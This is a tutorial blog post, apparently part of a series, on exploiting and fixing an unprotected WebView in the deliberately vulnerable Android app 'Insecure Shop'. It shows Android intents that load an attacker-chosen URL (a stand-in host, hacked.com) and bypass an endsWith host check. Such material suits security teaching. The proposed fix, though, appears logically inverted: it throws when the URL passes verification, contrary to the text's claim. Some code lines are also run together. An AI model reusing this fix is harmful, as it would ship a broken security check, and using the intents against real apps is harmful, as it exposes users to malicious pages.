Hacking & Securing “Insecure Shop” — Unprotected web views

This is the second in a series of articles that looks at hacking & securing this app:
Hacking
Let’s look at two very similar vulnerabilities; if we have a little look in AndroidManifest.
<activity android:name=".WebViewActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:host="com.insecureshop"
android:scheme="insecureshop" />
</intent-filter>
</activity>
Then inside that activity:
val uri: Uri? = intent.datawebview.settings.javaScriptEnabled = true
webview.settings.loadWithOverviewMode = true
webview.settings.useWideViewPort = true
webview.settings.allowUniversalAccessFromFileURLs = true
webview.settings.userAgentString = USER_AGENTif (uri.path.equals("/web")) {
data = intent.data?.getQueryParameter("url")
} else if (uri.path.equals("/webview")) {
if (intent.data!!.getQueryParameter("url")!!.endsWith("insecureshopapp.com")) {
data = intent.data?.getQueryParameter("url")
}
}
The issue here is to do with the fact that the URI is taken from an external source, and loads it into a webview — giving access to javascript and the file system.
To attack this app, let’s look at the two if statements; take this intent:
Intent("android.intent.action.VIEW")
.apply {
data = Uri.parse("insecureshop://com.insecureshop/web?url=http://hacked.com")
}
)
In this case, we can redirect a user to “http://hacked.com” — if this is a malicious site that would loaded. The second if statement looks as if it makes an attempt to validate the URL. If it worked, it would only load a website from insecureshopapp.com. Imagine this URL though:
Intent("android.intent.action.VIEW")
.apply {
data = Uri.parse("insecureshop://com.insecureshop/webview?url=http://hacked.com?test=insecureshopapp.com")
}
)
The check passes — the string ends with the right insecureshopapp.com, but that doesn’t mean it’s going to the right place.
Securing
Securing these attacks is both harder and easier than you’d think. Easier — because in most cases you only want some fairly specific URLs to be loaded, but harder — because it’s harder to check than you think.
Rather than falling for the same or similar traps as before, we’re going to use a library for verification of URLs. Let’s first import the library:

implementation "io.github.dllewellyn.safetorun:inputverification:1.0.7"
And then imagine we do this:
intent.data?.getQueryParameter("url")
?.also {
if (it.urlVerification {
"insecureshopapp.com".allowHost()
}) {
throw IllegalArgumentException("Don't hack my app!!")
}
}
In this example, if the URL isn’t from the host ‘insecureshopapp.com’ then the URL will fail to load.